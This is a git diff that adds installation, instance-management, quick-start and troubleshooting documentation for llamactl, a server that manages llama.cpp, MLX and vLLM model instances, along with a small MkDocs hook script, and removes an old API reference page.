+**Note:** These Dockerfiles are configured for CUDA. For other platforms (CPU, ROCm, Vulkan, etc.), adapt the base image. For llama.cpp, see available tags at [llama.cpp Docker docs](https://github.com/ggml-org/llama.cpp/blob/master/docs/docker.md). For vLLM, check [vLLM docs](https://docs.vllm.ai/en/v0.6.5/serving/deploying_with_docker.html).
+
+**Using Docker Compose**
+
+```bash
+# Clone the repository
+git clone https://github.com/lordmathis/llamactl.git
+cd llamactl
+
+# Create directories for data and models
+mkdir -p data/llamacpp data/vllm models
+
+# Start llamactl with llama.cpp backend
+docker-compose -f docker/docker-compose.yml up llamactl-llamacpp -d
+
+# Or start llamactl with vLLM backend
+docker-compose -f docker/docker-compose.yml up llamactl-vllm -d
+```
+
+Access the dashboard at:
+- llamactl with llama.cpp: http://localhost:8080
+- llamactl with vLLM: http://localhost:8081
+
+**Using Docker Build and Run**
+
+1. llamactl with llama.cpp CUDA:
+```bash
+docker build -f docker/Dockerfile.llamacpp -t llamactl:llamacpp-cuda .
+docker run -d \
+  --name llamactl-llamacpp \
+  --gpus all \
+  -p 8080:8080 \
+  -v ~/.cache/llama.cpp:/root/.cache/llama.cpp \
+  llamactl:llamacpp-cuda
+```
+
+2. llamactl with vLLM CUDA:
+```bash
+docker build -f docker/Dockerfile.vllm -t llamactl:vllm-cuda .
+docker run -d \
+  --name llamactl-vllm \
+  --gpus all \
+  -p 8080:8080 \
+  -v ~/.cache/huggingface:/root/.cache/huggingface \
+  llamactl:vllm-cuda
+```
+
+3. llamactl built from source:
+```bash
+docker build -f docker/Dockerfile.source -t llamactl:source .
+docker run -d \
+  --name llamactl \
+  -p 8080:8080 \
+  llamactl:source
+```
+
+### Option 3: Build from Source
+
+Requirements:
+- Go 1.24 or later
+- Node.js 22 or later
+- Git
+
+If you prefer to build from source:
+
+```bash
+# Clone the repository
+git clone https://github.com/lordmathis/llamactl.git
+cd llamactl
+
+# Build the web UI
+cd webui && npm ci && npm run build && cd ..
+
+# Build the application
+go build -o llamactl ./cmd/server
+```
+
+## Remote Node Installation
+
+For deployments with remote nodes:
+- Install llamactl on each node using any of the methods above
+- Configure API keys for authentication between nodes
+- Ensure node names are consistent across all configurations
+
+## Verification
+
+Verify your installation by checking the version:
+
+```bash
+llamactl --version
+```
+
+## Next Steps
+
+Now that Llamactl is installed, continue to the [Quick Start](quick-start.md) guide to get your first instance running!
+
+For remote node deployments, see the [Configuration Guide](configuration.md) for node setup instructions.

docs/managing-instances.md

@@ -0,0 +1,280 @@
+# Managing Instances
+
+Learn how to effectively manage your llama.cpp, MLX, and vLLM instances with Llamactl through both the Web UI and API.
+
+## Overview
+
+Llamactl provides two ways to manage instances:
+
+- **Web UI**: Accessible at `http://localhost:8080` with an intuitive dashboard
+- **REST API**: Programmatic access for automation and integration
+
+![Dashboard Screenshot](images/dashboard.png)
+
+### Authentication
+
+Llamactl uses a **Management API Key** to authenticate requests to the management API (creating, starting, stopping instances). All curl examples below use `<token>` as a placeholder - replace this with your actual Management API Key.
+
+By default, authentication is required. If you don't configure a management API key in your configuration file, llamactl will auto-generate one and print it to the terminal on startup. See the [Configuration](configuration.md) guide for details.
+
+For Web UI access:
+1. Navigate to the web UI
+2. Enter your Management API Key
+3. Bearer token is stored for the session
+
+### Theme Support
+
+- Switch between light and dark themes
+- Setting is remembered across sessions
+
+## Instance Cards
+
+Each instance is displayed as a card showing:
+
+- **Instance name**
+- **Health status badge** (unknown, ready, error, failed)
+- **Action buttons** (start, stop, edit, logs, delete)
+
+## Create Instance
+
+**Via Web UI**
+
+![Create Instance Screenshot](images/create_instance.png)
+
+1. Click the **"Create Instance"** button on the dashboard
+2. Enter a unique **Name** for your instance (only required field)
+3. **Select Target Node**: Choose which node to deploy the instance to from the dropdown
+4. **Choose Backend Type**:
+    - **llama.cpp**: For GGUF models using llama-server
+    - **MLX**: For MLX-optimized models (macOS only)
+    - **vLLM**: For distributed serving and high-throughput inference
+5. Configure model source:
+    - **For llama.cpp**: GGUF model path or HuggingFace repo
+    - **For MLX**: MLX model path or identifier (e.g., `mlx-community/Mistral-7B-Instruct-v0.3-4bit`)
+    - **For vLLM**: HuggingFace model identifier (e.g., `microsoft/DialoGPT-medium`)
+6. Configure optional instance management settings:
+    - **Auto Restart**: Automatically restart instance on failure
+    - **Max Restarts**: Maximum number of restart attempts
+    - **Restart Delay**: Delay in seconds between restart attempts
+    - **On Demand Start**: Start instance when receiving a request to the OpenAI compatible endpoint
+    - **Idle Timeout**: Minutes before stopping idle instance (set to 0 to disable)
+    - **Environment Variables**: Set custom environment variables for the instance process
+7. Configure backend-specific options:
+    - **llama.cpp**: Threads, context size, GPU layers, port, etc.
+    - **MLX**: Temperature, top-p, adapter path, Python environment, etc.
+    - **vLLM**: Tensor parallel size, GPU memory utilization, quantization, etc.
+
+!!! tip "Auto-Assignment"
+    Llamactl automatically assigns ports from the configured port range (default: 8000-9000) and generates API keys if authentication is enabled. You typically don't need to manually specify these values.
+
+8. Click **"Create"** to save the instance  
+
+**Via API**
+
+```bash
+# Create llama.cpp instance with local model file
+curl -X POST http://localhost:8080/api/v1/instances/my-llama-instance \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "model": "/path/to/model.gguf",
+      "threads": 8,
+      "ctx_size": 4096,
+      "gpu_layers": 32
+    },
+    "nodes": ["main"]
+  }'
+
+# Create MLX instance (macOS only)
+curl -X POST http://localhost:8080/api/v1/instances/my-mlx-instance \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "mlx_lm",
+    "backend_options": {
+      "model": "mlx-community/Mistral-7B-Instruct-v0.3-4bit",
+      "temp": 0.7,
+      "top_p": 0.9,
+      "max_tokens": 2048
+    },
+    "auto_restart": true,
+    "max_restarts": 3,
+    "nodes": ["main"]
+  }'
+
+# Create vLLM instance
+curl -X POST http://localhost:8080/api/v1/instances/my-vllm-instance \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "vllm",
+    "backend_options": {
+      "model": "microsoft/DialoGPT-medium",
+      "tensor_parallel_size": 2,
+      "gpu_memory_utilization": 0.9
+    },
+    "auto_restart": true,
+    "on_demand_start": true,
+    "environment": {
+      "CUDA_VISIBLE_DEVICES": "0,1",
+      "NCCL_DEBUG": "INFO",
+      "PYTHONPATH": "/custom/path"
+    },
+    "nodes": ["main"]
+  }'
+
+# Create llama.cpp instance with HuggingFace model
+curl -X POST http://localhost:8080/api/v1/instances/gemma-3-27b \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "hf_repo": "unsloth/gemma-3-27b-it-GGUF",
+      "hf_file": "gemma-3-27b-it-GGUF.gguf",
+      "gpu_layers": 32
+    },
+    "nodes": ["main"]
+  }'
+
+# Create instance on specific remote node
+curl -X POST http://localhost:8080/api/v1/instances/remote-llama \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "model": "/models/llama-7b.gguf",
+      "gpu_layers": 32
+    },
+    "nodes": ["worker1"]
+  }'
+
+# Create instance on multiple nodes for high availability
+curl -X POST http://localhost:8080/api/v1/instances/multi-node-llama \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "model": "/models/llama-7b.gguf",
+      "gpu_layers": 32
+    },
+    "nodes": ["worker1", "worker2", "worker3"]
+  }'
+```
+
+## Start Instance
+
+**Via Web UI**
+1. Click the **"Start"** button on an instance card
+2. Watch the status change to "Unknown"
+3. Monitor progress in the logs
+4. Instance status changes to "Ready" when ready
+
+**Via API**
+```bash
+curl -X POST http://localhost:8080/api/v1/instances/{name}/start \
+  -H "Authorization: Bearer <token>"
+```
+
+## Stop Instance
+
+**Via Web UI**
+1. Click the **"Stop"** button on an instance card
+2. Instance gracefully shuts down
+
+**Via API**
+```bash
+curl -X POST http://localhost:8080/api/v1/instances/{name}/stop \
+  -H "Authorization: Bearer <token>"
+```
+
+## Edit Instance
+
+**Via Web UI**
+1. Click the **"Edit"** button on an instance card
+2. Modify settings in the configuration dialog
+3. Changes require instance restart to take effect
+4. Click **"Update & Restart"** to apply changes
+
+**Via API**
+Modify instance settings:
+
+```bash
+curl -X PUT http://localhost:8080/api/v1/instances/{name} \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer <token>" \
+  -d '{
+    "backend_options": {
+      "threads": 8,
+      "context_size": 4096
+    }
+  }'
+```
+
+!!! note
+    Configuration changes require restarting the instance to take effect.
+
+
+## View Logs
+
+**Via Web UI**
+
+1. Click the **"Logs"** button on any instance card
+2. Real-time log viewer opens
+
+**Via API**
+Check instance status in real-time:
+
+```bash
+# Get instance logs
+curl http://localhost:8080/api/v1/instances/{name}/logs \
+  -H "Authorization: Bearer <token>"
+```
+
+## Delete Instance
+
+**Via Web UI**
+1. Click the **"Delete"** button on an instance card
+2. Only stopped instances can be deleted
+3. Confirm deletion in the dialog
+
+**Via API**
+```bash
+curl -X DELETE http://localhost:8080/api/v1/instances/{name} \
+  -H "Authorization: Bearer <token>"
+```
+
+## Instance Proxy
+
+Llamactl proxies all requests to the underlying backend instances (llama-server, MLX, or vLLM).
+
+```bash
+# Proxy requests to the instance
+curl http://localhost:8080/api/v1/instances/{name}/proxy/ \
+  -H "Authorization: Bearer <token>"
+```
+
+All backends provide OpenAI-compatible endpoints. Check the respective documentation:
+- [llama-server docs](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
+- [MLX-LM docs](https://github.com/ml-explore/mlx-lm/blob/main/mlx_lm/SERVER.md)
+- [vLLM docs](https://docs.vllm.ai/en/latest/)
+
+### Instance Health
+
+**Via Web UI**
+
+1. The health status badge is displayed on each instance card
+
+**Via API**
+
+Check the health status of your instances:
+
+```bash
+curl http://localhost:8080/api/v1/instances/{name}/proxy/health \
+  -H "Authorization: Bearer <token>"
+```
+

docs/quick-start.md

@@ -0,0 +1,263 @@
+# Quick Start
+
+This guide will help you get Llamactl up and running in just a few minutes.
+
+**Before you begin:** Ensure you have at least one backend installed (llama.cpp, MLX, or vLLM). See the [Installation Guide](installation.md#prerequisites) for backend setup.
+
+## Core Concepts
+
+Before you start, let's clarify a few key terms:
+
+- **Instance**: A running backend server that serves a specific model. Each instance has a unique name and runs independently.
+- **Backend**: The inference engine that actually runs the model (llama.cpp, MLX, or vLLM). You need at least one backend installed before creating instances.
+- **Node**: In multi-machine setups, a node represents one machine. Most users will just use the default "main" node for single-machine deployments.
+- **Proxy Architecture**: Llamactl acts as a proxy in front of your instances. You make requests to llamactl (e.g., `http://localhost:8080/v1/chat/completions`), and it routes them to the appropriate backend instance. This means you don't need to track individual instance ports or endpoints.
+
+## Authentication
+
+Llamactl uses two types of API keys:
+
+- **Management API Key**: Used to authenticate with the Llamactl management API (creating, starting, stopping instances).
+- **Inference API Key**: Used to authenticate requests to the OpenAI-compatible endpoints (`/v1/chat/completions`, `/v1/completions`, etc.).
+
+By default, authentication is required. If you don't configure these keys in your configuration file, llamactl will auto-generate them and print them to the terminal on startup. You can also configure custom keys or disable authentication entirely in the [Configuration](configuration.md) guide.
+
+## Start Llamactl
+
+Start the Llamactl server:
+
+```bash
+llamactl
+```
+
+```
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+⚠️  MANAGEMENT AUTHENTICATION REQUIRED
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+🔑  Generated Management API Key:
+
+    sk-management-...
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+⚠️  INFERENCE AUTHENTICATION REQUIRED
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+🔑  Generated Inference API Key:
+
+    sk-inference-...
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+⚠️  IMPORTANT
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+• These keys are auto-generated and will change on restart
+• For production, add explicit keys to your configuration
+• Copy these keys before they disappear from the terminal
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+Llamactl server listening on 0.0.0.0:8080
+```
+
+Copy the **Management** and **Inference** API Keys from the terminal - you'll need them to access the web UI and make inference requests.
+
+By default, Llamactl will start on `http://localhost:8080`.
+
+## Access the Web UI
+
+Open your web browser and navigate to:
+
+```
+http://localhost:8080
+```
+
+Login with the management API key from the terminal output.
+
+You should see the Llamactl web interface.
+
+## Create Your First Instance
+
+1. Click the "Add Instance" button
+2. Fill in the instance configuration:
+     - **Name**: Give your instance a descriptive name
+     - **Node**: Select which node to deploy the instance to (defaults to "main" for single-node setups)
+     - **Backend Type**: Choose from llama.cpp, MLX, or vLLM
+     - **Model**: Model path or huggingface repo
+     - **Additional Options**: Backend-specific parameters
+
+    !!! tip "Auto-Assignment"
+        Llamactl automatically assigns ports from the configured port range (default: 8000-9000) and generates API keys if authentication is enabled. You typically don't need to manually specify these values.
+
+    !!! note "Remote Node Deployment"
+        If you have configured remote nodes in your configuration file, you can select which node to deploy the instance to. This allows you to distribute instances across multiple machines. See the [Configuration](configuration.md#remote-node-configuration) guide for details on setting up remote nodes.
+
+3. Click "Create Instance"
+
+## Start Your Instance
+
+Once created, you can:
+
+- **Start** the instance by clicking the start button
+- **Monitor** its status in real-time
+- **View logs** by clicking the logs button
+- **Stop** the instance when needed
+
+## Example Configurations
+
+Here are basic example configurations for each backend:
+
+**llama.cpp backend:**
+```json
+{
+  "name": "llama2-7b",
+  "backend_type": "llama_cpp",
+  "backend_options": {
+    "model": "/path/to/llama-2-7b-chat.gguf",
+    "threads": 4,
+    "ctx_size": 2048,
+    "gpu_layers": 32
+  },
+  "nodes": ["main"]
+}
+```
+
+**MLX backend (macOS only):**
+```json
+{
+  "name": "mistral-mlx",
+  "backend_type": "mlx_lm",
+  "backend_options": {
+    "model": "mlx-community/Mistral-7B-Instruct-v0.3-4bit",
+    "temp": 0.7,
+    "max_tokens": 2048
+  },
+  "nodes": ["main"]
+}
+```
+
+**vLLM backend:**
+```json
+{
+  "name": "dialogpt-vllm",
+  "backend_type": "vllm",
+  "backend_options": {
+    "model": "microsoft/DialoGPT-medium",
+    "tensor_parallel_size": 2,
+    "gpu_memory_utilization": 0.9
+  },
+  "nodes": ["main"]
+}
+```
+
+**Remote node deployment example:**
+```json
+{
+  "name": "distributed-model",
+  "backend_type": "llama_cpp",
+  "backend_options": {
+    "model": "/path/to/model.gguf",
+    "gpu_layers": 32
+  },
+  "nodes": ["worker1"]
+}
+```
+
+## Docker Support
+
+Llamactl can run backends in Docker containers. To enable Docker for a backend, add a `docker` section to that backend in your YAML configuration file (e.g. `config.yaml`) as shown below:
+
+```yaml
+backends:
+  vllm:
+    command: "vllm"
+    args: ["serve"]
+    docker:
+      enabled: true
+      image: "vllm/vllm-openai:latest"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all", "--shm-size", "1g"]
+```
+
+## Using the API
+
+You can also manage instances via the REST API:
+
+```bash
+# List all instances
+curl http://localhost:8080/api/v1/instances
+
+# Create a new llama.cpp instance
+curl -X POST http://localhost:8080/api/v1/instances/my-model \
+  -H "Content-Type: application/json" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "model": "/path/to/model.gguf"
+    }
+  }'
+
+# Start an instance
+curl -X POST http://localhost:8080/api/v1/instances/my-model/start
+```
+
+## OpenAI Compatible API
+
+Llamactl provides OpenAI-compatible endpoints, making it easy to integrate with existing OpenAI client libraries and tools.
+
+### Chat Completions
+
+Once you have an instance running, you can use it with the OpenAI-compatible chat completions endpoint:
+
+```bash
+curl -X POST http://localhost:8080/v1/chat/completions \
+  -H "Content-Type: application/json" \
+  -d '{
+    "model": "my-model",
+    "messages": [
+      {
+        "role": "user",
+        "content": "Hello! Can you help me write a Python function?"
+      }
+    ],
+    "max_tokens": 150,
+    "temperature": 0.7
+  }'
+```
+
+### Using with Python OpenAI Client
+
+You can also use the official OpenAI Python client:
+
+```python
+from openai import OpenAI
+
+# Point the client to your Llamactl server
+client = OpenAI(
+    base_url="http://localhost:8080/v1",
+    api_key="your-inference-api-key"  # Use the inference API key from terminal or config
+)
+
+# Create a chat completion
+response = client.chat.completions.create(
+    model="my-model",  # Use the name of your instance
+    messages=[
+        {"role": "user", "content": "Explain quantum computing in simple terms"}
+    ],
+    max_tokens=200,
+    temperature=0.7
+)
+
+print(response.choices[0].message.content)
+```
+
+!!! note "API Key"
+    If you disabled authentication in your config, you can use any value for `api_key` (e.g., `"not-needed"`). Otherwise, use the inference API key shown in the terminal output on startup.
+
+### List Available Models
+
+Get a list of running instances (models) in OpenAI-compatible format:
+
+```bash
+curl http://localhost:8080/v1/models
+```
+
+## Next Steps
+
+- Manage instances [Managing Instances](managing-instances.md)
+- Explore the [API Reference](api-reference.md)
+- Configure advanced settings in the [Configuration](configuration.md) guide

docs/readme_sync.py

@@ -0,0 +1,62 @@
+"""
+MkDocs hook to sync content from README.md to docs/index.md
+"""
+import re
+import os
+
+
+def on_page_markdown(markdown, page, config, **kwargs):
+    """Process markdown content before rendering"""
+    # Only process the index.md file
+    if page.file.src_path != 'index.md':
+        return markdown
+
+    # Get the path to README.md (relative to mkdocs.yml)
+    readme_path = os.path.join(os.path.dirname(config['config_file_path']), 'README.md')
+
+    if not os.path.exists(readme_path):
+        print(f"Warning: README.md not found at {readme_path}")
+        return markdown
+
+    try:
+        with open(readme_path, 'r', encoding='utf-8') as f:
+            readme_content = f.read()
+    except Exception as e:
+        print(f"Error reading README.md: {e}")
+        return markdown
+
+    # Extract headline (the text in bold after the title)
+    headline_match = re.search(r'\*\*(.*?)\*\*', readme_content)
+    headline = headline_match.group(1) if headline_match else 'Management server for llama.cpp and MLX instances'
+
+    # Extract features section - everything between ## Features and the next ## heading
+    features_match = re.search(r'## Features\n(.*?)(?=\n## |\Z)', readme_content, re.DOTALL)
+    if features_match:
+        features_content = features_match.group(1).strip()
+        # Just add line breaks at the end of each line for proper MkDocs rendering
+        features_with_breaks = add_line_breaks(features_content)
+    else:
+        features_with_breaks = "Features content not found in README.md"
+
+    # Replace placeholders in the markdown
+    markdown = markdown.replace('{{HEADLINE}}', headline)
+    markdown = markdown.replace('{{FEATURES}}', features_with_breaks)
+
+    # Fix image paths: convert docs/images/ to images/ for MkDocs
+    markdown = re.sub(r'docs/images/', 'images/', markdown)
+
+    return markdown
+
+
+def add_line_breaks(content):
+    """Add two spaces at the end of each line for proper MkDocs line breaks"""
+    lines = content.split('\n')
+    processed_lines = []
+
+    for line in lines:
+        if line.strip():  # Only add spaces to non-empty lines
+            processed_lines.append(line.rstrip() + '  ')
+        else:
+            processed_lines.append(line)
+
+    return '\n'.join(processed_lines)

docs/troubleshooting.md

@@ -0,0 +1,193 @@
+# Troubleshooting
+
+Issues specific to Llamactl deployment and operation.
+
+## Configuration Issues
+
+### Invalid Configuration
+
+**Problem:** Invalid configuration preventing startup
+
+**Solutions:**
+1. Use minimal configuration:
+   ```yaml
+   server:
+     host: "0.0.0.0"
+     port: 8080
+   instances:
+     port_range: [8000, 9000]
+   ```
+
+2. Check data directory permissions:
+   ```bash
+   # Ensure data directory is writable (default: ~/.local/share/llamactl)
+   mkdir -p ~/.local/share/llamactl/{instances,logs}
+   ```
+
+## Instance Management Issues
+
+### Instance Fails to Start
+
+**Problem:** Instance fails to start or immediately stops
+
+**Solutions:**
+
+1. **Check instance logs** to see the actual error:
+   ```bash
+   curl http://localhost:8080/api/v1/instances/{name}/logs
+   # Or check log files directly
+   tail -f ~/.local/share/llamactl/logs/{instance-name}.log
+   ```
+
+2. **Verify backend is installed:**  
+     - **llama.cpp**: Ensure `llama-server` is in PATH
+     - **MLX**: Ensure `mlx-lm` Python package is installed
+     - **vLLM**: Ensure `vllm` Python package is installed
+
+3. **Check model path and format:**
+     - Use absolute paths to model files
+     - Verify model format matches backend (GGUF for llama.cpp, etc.)
+
+4. **Verify backend command configuration:**
+     - Check that the backend `command` is correctly configured in the global config
+     - For virtual environments, specify the full path to the command (e.g., `/path/to/venv/bin/mlx_lm.server`)
+     - See the [Configuration Guide](configuration.md) for backend configuration details
+     - Test the backend directly (see [Backend-Specific Issues](#backend-specific-issues) below)
+
+### Backend-Specific Issues
+
+**Problem:** Model loading, memory, GPU, or performance issues
+
+Most model-specific issues (memory, GPU configuration, performance tuning) are backend-specific and should be resolved by consulting the respective backend documentation:
+
+**llama.cpp:**
+- [llama.cpp GitHub](https://github.com/ggml-org/llama.cpp)
+- [llama-server README](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
+
+**MLX:**
+- [MLX-LM GitHub](https://github.com/ml-explore/mlx-lm)
+- [MLX-LM Server Guide](https://github.com/ml-explore/mlx-lm/blob/main/mlx_lm/SERVER.md)
+
+**vLLM:**
+- [vLLM Documentation](https://docs.vllm.ai/en/stable/)
+- [OpenAI Compatible Server](https://docs.vllm.ai/en/stable/serving/openai_compatible_server.html)
+- [vllm serve Command](https://docs.vllm.ai/en/stable/cli/serve.html#vllm-serve)
+
+**Testing backends directly:**
+
+Testing your model and configuration directly with the backend helps determine if the issue is with llamactl or the backend itself:
+
+```bash
+# llama.cpp
+llama-server --model /path/to/model.gguf --port 8081
+
+# MLX
+mlx_lm.server --model mlx-community/Mistral-7B-Instruct-v0.3-4bit --port 8081
+
+# vLLM
+vllm serve microsoft/DialoGPT-medium --port 8081
+```
+
+## API and Network Issues
+
+### CORS Errors
+
+**Problem:** Web UI shows CORS errors in browser console
+
+**Solutions:**
+1. **Configure allowed origins:**
+   ```yaml
+   server:
+     allowed_origins:
+       - "http://localhost:3000"
+       - "https://yourdomain.com"
+   ```
+
+## Authentication Issues
+
+**Problem:** API requests failing with authentication errors
+
+**Solutions:**
+1. **Disable authentication temporarily:**
+   ```yaml
+   auth:
+     require_management_auth: false
+     require_inference_auth: false
+   ```
+
+2. **Configure API keys:**
+   ```yaml
+   auth:
+     management_keys:
+       - "your-management-key"
+     inference_keys:
+       - "your-inference-key"
+   ```
+
+3. **Use correct Authorization header:**
+   ```bash
+   curl -H "Authorization: Bearer your-api-key" \
+     http://localhost:8080/api/v1/instances
+   ```
+
+## Remote Node Issues
+
+### Node Configuration
+
+**Problem:** Remote instances not appearing or cannot be managed
+
+**Solutions:**
+1. **Verify node configuration:**
+   ```yaml
+   local_node: "main"  # Must match a key in nodes map
+   nodes:
+     main:
+       address: ""     # Empty for local node
+     worker1:
+       address: "http://worker1.internal:8080"
+       api_key: "secure-key"  # Must match worker1's management key
+   ```
+
+2. **Check node name consistency:**
+   - `local_node` on each node must match what other nodes call it
+   - Node names are case-sensitive
+
+3. **Test remote node connectivity:**
+   ```bash
+   curl -H "Authorization: Bearer remote-node-key" \
+     http://remote-node:8080/api/v1/instances
+   ```
+
+## Debugging and Logs
+
+### Viewing Instance Logs
+
+```bash
+# Get instance logs via API
+curl http://localhost:8080/api/v1/instances/{name}/logs
+
+# Or check log files directly
+tail -f ~/.local/share/llamactl/logs/{instance-name}.log
+```
+
+### Enable Debug Logging
+
+```bash
+export LLAMACTL_LOG_LEVEL=debug
+llamactl
+```
+
+## Getting Help
+
+When reporting issues, include:
+
+1. **System information:**
+   ```bash
+   llamactl --version
+   ```
+
+2. **Configuration file** (remove sensitive keys)
+
+3. **Relevant log output**
+
+4. **Steps to reproduce the issue**

docs/user-guide/api-reference.md

@@ -1,412 +0,0 @@
-# API Reference
-
-Complete reference for the Llamactl REST API.
-
-## Base URL
-
-All API endpoints are relative to the base URL:
-
-```
-http://localhost:8080/api/v1
-```
-
-## Authentication
-
-Llamactl supports API key authentication. If authentication is enabled, include the API key in the Authorization header:
-
-```bash
-curl -H "Authorization: Bearer <your-api-key>" \
-  http://localhost:8080/api/v1/instances
-```
-
-The server supports two types of API keys:
-- **Management API Keys**: Required for instance management operations (CRUD operations on instances)
-- **Inference API Keys**: Required for OpenAI-compatible inference endpoints
-
-## System Endpoints
-
-### Get Llamactl Version
-
-Get the version information of the llamactl server.
-
-```http
-GET /api/v1/version
-```
-
-**Response:**
-```
-Version: 1.0.0
-Commit: abc123
-Build Time: 2024-01-15T10:00:00Z
-```
-
-### Get Llama Server Help
-
-Get help text for the llama-server command.
-
-```http
-GET /api/v1/server/help
-```
-
-**Response:** Plain text help output from `llama-server --help`
-
-### Get Llama Server Version
-
-Get version information of the llama-server binary.
-
-```http
-GET /api/v1/server/version
-```
-
-**Response:** Plain text version output from `llama-server --version`
-
-### List Available Devices
-
-List available devices for llama-server.
-
-```http
-GET /api/v1/server/devices
-```
-
-**Response:** Plain text device list from `llama-server --list-devices`
-
-## Instances
-
-### List All Instances
-
-Get a list of all instances.
-
-```http
-GET /api/v1/instances
-```
-
-**Response:**
-```json
-[
-  {
-    "name": "llama2-7b",
-    "status": "running",
-    "created": 1705312200
-  }
-]
-```
-
-### Get Instance Details
-
-Get detailed information about a specific instance.
-
-```http
-GET /api/v1/instances/{name}
-```
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "running",
-  "created": 1705312200
-}
-```
-
-### Create Instance
-
-Create and start a new instance.
-
-```http
-POST /api/v1/instances/{name}
-```
-
-**Request Body:** JSON object with instance configuration. See [Managing Instances](managing-instances.md) for available configuration options.
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "running",
-  "created": 1705312200
-}
-```
-
-### Update Instance
-
-Update an existing instance configuration. See [Managing Instances](managing-instances.md) for available configuration options.
-
-```http
-PUT /api/v1/instances/{name}
-```
-
-**Request Body:** JSON object with configuration fields to update.
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "running",
-  "created": 1705312200
-}
-```
-
-### Delete Instance
-
-Stop and remove an instance.
-
-```http
-DELETE /api/v1/instances/{name}
-```
-
-**Response:** `204 No Content`
-
-## Instance Operations
-
-### Start Instance
-
-Start a stopped instance.
-
-```http
-POST /api/v1/instances/{name}/start
-```
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "starting",
-  "created": 1705312200
-}
-```
-
-**Error Responses:**
-- `409 Conflict`: Maximum number of running instances reached
-- `500 Internal Server Error`: Failed to start instance
-
-### Stop Instance
-
-Stop a running instance.
-
-```http
-POST /api/v1/instances/{name}/stop
-```
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "stopping",
-  "created": 1705312200
-}
-```
-
-### Restart Instance
-
-Restart an instance (stop then start).
-
-```http
-POST /api/v1/instances/{name}/restart
-```
-
-**Response:**
-```json
-{
-  "name": "llama2-7b",
-  "status": "restarting",
-  "created": 1705312200
-}
-```
-
-### Get Instance Logs
-
-Retrieve instance logs.
-
-```http
-GET /api/v1/instances/{name}/logs
-```
-
-**Query Parameters:**
-- `lines`: Number of lines to return (default: all lines, use -1 for all)
-
-**Response:** Plain text log output
-
-**Example:**
-```bash
-curl "http://localhost:8080/api/v1/instances/my-instance/logs?lines=100"
-```
-
-### Proxy to Instance
-
-Proxy HTTP requests directly to the llama-server instance.
-
-```http
-GET /api/v1/instances/{name}/proxy/*
-POST /api/v1/instances/{name}/proxy/*
-```
-
-This endpoint forwards all requests to the underlying llama-server instance running on its configured port. The proxy strips the `/api/v1/instances/{name}/proxy` prefix and forwards the remaining path to the instance.
-
-**Example - Check Instance Health:**
-```bash
-curl -H "Authorization: Bearer your-api-key" \
-  http://localhost:8080/api/v1/instances/my-model/proxy/health
-```
-
-This forwards the request to `http://instance-host:instance-port/health` on the actual llama-server instance.
-
-**Error Responses:**
-- `503 Service Unavailable`: Instance is not running
-
-## OpenAI-Compatible API
-
-Llamactl provides OpenAI-compatible endpoints for inference operations.
-
-### List Models
-
-List all instances in OpenAI-compatible format.
-
-```http
-GET /v1/models
-```
-
-**Response:**
-```json
-{
-  "object": "list",
-  "data": [
-    {
-      "id": "llama2-7b",
-      "object": "model",
-      "created": 1705312200,
-      "owned_by": "llamactl"
-    }
-  ]
-}
-```
-
-### Chat Completions, Completions, Embeddings
-
-All OpenAI-compatible inference endpoints are available:
-
-```http
-POST /v1/chat/completions
-POST /v1/completions
-POST /v1/embeddings
-POST /v1/rerank
-POST /v1/reranking
-```
-
-**Request Body:** Standard OpenAI format with `model` field specifying the instance name
-
-**Example:**
-```json
-{
-  "model": "llama2-7b",
-  "messages": [
-    {
-      "role": "user",
-      "content": "Hello, how are you?"
-    }
-  ]
-}
-```
-
-The server routes requests to the appropriate instance based on the `model` field in the request body. Instances with on-demand starting enabled will be automatically started if not running. For configuration details, see [Managing Instances](managing-instances.md).
-
-**Error Responses:**
-- `400 Bad Request`: Invalid request body or missing model name
-- `503 Service Unavailable`: Instance is not running and on-demand start is disabled
-- `409 Conflict`: Cannot start instance due to maximum instances limit
-
-## Instance Status Values
-
-Instances can have the following status values:  
-- `stopped`: Instance is not running  
-- `running`: Instance is running and ready to accept requests  
-- `failed`: Instance failed to start or crashed  
-
-## Error Responses
-
-All endpoints may return error responses in the following format:
-
-```json
-{
-  "error": "Error message description"
-}
-```
-
-### Common HTTP Status Codes
-
-- `200`: Success
-- `201`: Created
-- `204`: No Content (successful deletion)
-- `400`: Bad Request (invalid parameters or request body)
-- `401`: Unauthorized (missing or invalid API key)
-- `403`: Forbidden (insufficient permissions)
-- `404`: Not Found (instance not found)
-- `409`: Conflict (instance already exists, max instances reached)
-- `500`: Internal Server Error
-- `503`: Service Unavailable (instance not running)
-
-## Examples
-
